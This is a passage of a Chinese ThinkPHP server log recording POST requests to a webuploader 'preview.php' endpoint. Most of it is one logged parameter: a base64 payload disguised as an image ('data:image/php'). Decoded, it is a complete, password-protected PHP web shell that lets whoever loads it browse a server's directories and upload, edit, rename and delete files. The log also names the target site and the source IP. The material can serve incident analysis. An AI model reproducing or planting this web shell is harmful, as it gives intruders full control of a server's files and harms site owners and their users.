'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:02+08:00 ] 116.213.36.234 POST 51tianwei.com/Theme/assets/webuploader/0.1.15/server/preview.php [运行时间:0.002501s] [吞吐率:399.84req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Theme', 2 => 'assets', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 